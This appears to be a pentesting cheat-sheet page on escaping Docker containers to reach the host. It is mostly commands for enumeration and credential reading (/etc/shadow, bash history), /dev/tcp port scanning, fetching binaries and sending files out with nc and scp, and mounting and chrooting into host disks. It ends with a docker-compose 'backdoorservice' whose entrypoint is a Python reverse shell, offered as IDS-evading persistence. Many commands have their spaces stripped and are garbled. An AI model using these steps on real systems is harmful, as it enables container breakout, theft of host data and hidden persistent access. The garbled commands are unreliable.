Skip to content

Docker Escape

  • Docker escape refers to a security vulnerability that could potentially allow an attacker to break out of a Docker container and gain access to the host system or other containers running on the same host.

Investigation

  • If we are in the docker container, we first need to investigate basic information about the container.
    # Environment variables
    env
    
    # Command path
    echo$PATH
    ls -al /usr/local/bin
    ls -al /usr/local/sbin
    ls -al /usr/bin
    ls -al /bin
    
    # User enumeration
    cat /etc/passwd
    cat /etc/shadow
    get entpasswd
    
    # Networks
    cat /etc/hosts
    cat /etc/resolv.conf
    
    # Bash history
    cat /root/.bash_history
    cat /home/<username>/.bash_history
    
    # Interesting Directories
    ls -al /etc
    ls -al /mnt
    ls -al /opt
    ls -al /srv
    ls -al /var/www
    ls -al /var/tmp
    ls -al /tmp
    ls -al /dev/shm
    
    # Cron
    cat /etc/cron*
    crontab -l
    
    # Process
    ps aux
    psaux | cat
    # https://github.com/DominicBreuker/pspy
    ./pspy64
    
    # Network
    ip addr
    netstat -punta
    ss -ltu
    
    
    # Port scan another host
    nmap 172.17.0.0/24
    nmap 172.17.0.1
    for i in {1..65535}; do(echo>/dev/tcp/172.17.0.1/$i) >/dev/null 2>&1 && echo$i isopen; done
    
    # SSH
    ssh <user>@<another_host>
    
    # Check if docker command is available.
    # If not, find the command in the container.
    docker-h
    find / -name "docker" 2>/dev/null
    
    # Container capabilities
    capsh --print
    
    # Enumerate pods
    crictlpods
    
    # Investigate Docker socket for containerd
    # crictl can be downloaded from https://github.com/kubernetes-sigs/cri-tools
    crictl-runix:///run/containerd/containerd.sockps
    crictl-runix:///run/containerd/containerd.sockimages
    crictl-runix:///run/containerd/containerd.sockcontainerls
    

Access Another Host

If we found another host but cannot access it by restrictions, we need to reverse port forward.
Please see details.

Import Required Binary from Local Machine

The container generally has few command that we want to use to exploit, so we need to import manually the command binaries if we need.
Below are examples to transfer arbitrary binary into the docker container.

wget http://<local-ip>:8000/socat

curl <local-ip>:8000/scp-osocat

SSH Login

We might be able to login SSH on the target host if we know the credentials.

Mounting

Check disks or mounted folders and we might be able to see the directories of the host system.
See Linux Privilege Escalation for details.

1. List Disks/Mounted Folders

2. Mount Folder

If we find a folder which is not mounted in the container, mount it to go inside the directory.

mkdir -p /mnt/tmp
mount /dev/xvda1/mnt/tmp

Now we can observe inside the /mnt/tmp directory.

Gain Access to Mounted System

After mounting or found mounted folder, we can change root to the mounted folder:

chroot /mounted_folderbash

Privilege Escalation to Root

Please see Linux Privilege Escalation.

Run Vulnerable Docker Image

According to Hacktricks, we can escape a docker container with the vulnerable image.
Execute the following command in the target machine where a docker container is running..

docker-H127.0.0.1:2375run--rm-it--privileged--net=host-v/:/mntalpine
cd/mnt/

Download Interesting Files

# In local machine
nc -lp 4444 > example.txt

# In remote machine
nc <local-ip> 4444 < example.txt

Also we can use “scp” under the condition that the local machine opens SSH server.

# In local machine
sudo system ctl start ssh

# In remote machine
scp./example.txt<username>@<local-ip>:/home/<username>/example.txt

Run Existing Docker Image

1. Check if current user belongs to "docker" group

2. List Docker Images

3. Start Container and Get Shell

If we found Docker images running, we can use it to get a root shell Replace “example” with the docker image you found.

# -v: Mount the host directory ('/') to the '/mnt' directory in the container.
# --rm: Automatically remove the container when it exits.
# -it: Interective and TTY
# chroot /mnt sh: Change the root directory of the current process to the '/mnt' directory, then execute 'sh' command to get a shell as root.
dockerrun-v/:/mnt--rm-itexamplechroot/mntsh

Alternatively we can use following commands.

# --entrypoint=/bin/bash: Override the default entrypoint to '/bin/bash', which means that when the container starts, it will launch a bash shell.
dockerrun-it--entrypoint=/bin/bash-v/:/mnt/<image>:<tag>
# e.g.
dockerrun-it--entrypoint=/bin/bash-v/:/mnt/example:master

After that, you can investigate sensitive information in the /mnt/ folders.

Reference: https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25

Establish Persistence After PrivEsc

After that you invaded the docker container, you might be able to make it persistence while evading the IDS alerts by creating a docker compose file and abusing the entrypoint option to grant you a reverse shell.

Create a ~/docker-compose.yaml in the container.

You need to replace the <image><local-ip><local-ip> with your environment.

version: "2.1"
services:
  backdoorservice:
    restart: always
    image: <image>
    entrypoint: > 
       python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
       s.connect(("<local-ip>",<local-ip>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
       pty.spawn("/bin/sh")'
    volumes:
      - /:/mnt
    privileged: true

Then start listener in your local machine.

Now run the docker compose in remote machine. You should gain a shell.

1. Run the Docker Container

2. Get Sensitive Information in the Container

  • You may be able to get the interesting data like api_key.

3. Get Sensitive Information in Local Machine

References